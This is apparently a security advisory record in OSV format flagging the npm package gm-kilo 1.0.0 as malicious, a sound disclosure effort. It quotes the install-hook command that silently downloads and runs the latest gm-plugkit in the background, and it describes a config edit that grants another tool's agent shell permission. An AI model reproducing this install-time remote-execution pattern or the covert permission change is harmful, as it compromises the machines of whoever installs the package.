gm-kilo

{"modified":"2026-05-20T09:43:31Z","published":"2026-05-20T09:43:31Z","schema_version":"1.7.4","id":"MAL-2026-4574","summary":"Malicious code in gm-kilo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b4a35ea8669a2b02f60117ecc483176741399084b0fbebf11900d0a89505d9fb)\npackage.json declares an `install` lifecycle script that runs `bin/gm-kilo.js install`. At install time, the script executes `bun x gm-plugkit@latest spool > /dev/null 2>&1 &` via execSync, which downloads and runs whatever the latest published version of gm-plugkit is using the Bun alternate runtime. The version pin is mutable (`@latest`), the command output is redirected to /dev/null, and the process is detached into the background — these properties are characteristic of covert remote-code execution at install time. Whoever controls publishing of gm-plugkit can deliver arbitrary code to every machine that installs gm-kilo, and the install hook hides that execution from the installer's terminal. Additionally, the install script writes to `~/.kilo/config.yml` (a separate tool's configuration file) to register a `gm` agent with `Bash(*plugkit*)` shell-execute permission, silently expanding that tool's trust surface to invoke plugkit-related commands without user consent.\n","affected":[{"package":{"ecosystem":"npm","name":"gm-kilo"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"bin/gm-kilo.js","sha256":"9996d51ba75c4754088dd0dd695a4c555944a5c6cb80d6de5e10760623213379","tlsh":"cc5111164eff0a7359334a29da8f50633e10ab431244f99836ede31e4f86524a9339fd"}],"package_integrity":[{"filename":"gm-kilo-1.0.0.tgz","hashes":{"sha1":"db941a94ee8e1c2f09611ee37157a8382f9064e8","sha512_sri":"sha512-ezRt3VirDr2vAnGwA36d712uqWN4/AxyIS8dSaKGKB7x84lptHiDvyT+2WsLys2pv+d3xHpub+yy1xInngw7VA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/gm-kilo/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-003513","import_time":"2026-05-26T05:50:46.280632543Z","modified_time":"2026-05-20T09:43:31Z","sha256":"b4a35ea8669a2b02f60117ecc483176741399084b0fbebf11900d0a89505d9fb","source":"amazon-inspector","versions":["1.0.0"]}]}}